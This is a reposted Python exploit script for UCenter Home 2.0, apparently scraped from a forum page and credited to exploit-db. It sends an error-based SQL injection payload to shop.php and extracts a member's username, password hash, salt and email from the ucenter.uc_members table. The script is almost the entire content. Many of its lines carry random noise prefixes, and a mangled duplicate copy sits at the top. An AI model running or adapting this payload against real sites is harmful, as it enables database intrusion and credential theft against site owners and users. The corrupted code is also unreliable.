UCenter Home 2.0 EXP

admin

#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:http://www.exploit-db.com/exploits/14997/' print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
. G" k3 X/ x. l3 B: Z9 W
4 c/ D/ A, b3 v
#!/usr/bin/env python  

import sys  
# h2 M6 V. i6 ]' ~, {: W( a! d# wimport urllib2  
import re  
5 C0 O4 ?" B9 K6 _
1 y9 g' X% f. i. G' Hdef info():  
$ b4 `/ U8 M4 x+ c, J9 }    print 'From:http://www.exploit-db.com/exploits/14997/'
    print 'http://www.hake.cc/Web_loudong/'
2 {! K1 j* q7 g& U    print 'changed:qiaoy'  
- [, Y5 p& L& }: ~! q    print 'exp:'  
    print ' ./UCenter_Home_2.0.py site'  

def main():  
+ Q) ~$ |6 ~, A/ m4 l1 e$ e    if len(sys.argv) != 2:  
( f, T4 L8 L1 B% p* G        info()  
# u2 [+ _1 f7 a    else:  
2 G& T6 }& L8 Q' \# I) }+ I        site = sys.argv[1]  
        if site[0:7] == 'http://':  
$ Z6 G, Y: }: L- m% B8 W5 S( _            sitesite =site  
        elif site[0:8] == 'https://':  
+ e% S, I- l# Q- w2 k% t  {            sitesite = site  
3 @5 ?7 s8 ]6 z  c- A        else:  
            site = 'http://'+site  
- G0 o9 |2 ^+ g+ t; f  G        try:  
            url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'  
! Q' a! c4 ^3 t$ o+ q+ Y5 S            Value = urllib2.urlopen(url).read()  
            Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]  
' P( y9 I& N# x4 P; J            hacked = Msg.split(':')  
0 w' J) y, c0 a% d; E2 S' `            print 'Name:    '+hacked[1]  
            print 'Passwd:  '+hacked[2]  
9 |( M. K& l3 g5 w0 T( o7 E# o            print 'salt:    '+hacked[3]  
: e  g# ]& J. p            print 'email:   '+hacked[4]  
) E* a% P, q& R! y) a2 P: G' R* a        except:  
# \9 I) d' d: b; {5 l5 W            print 'Sorry,I can\'t work............'  

if __name__ == '__main__':  
    main()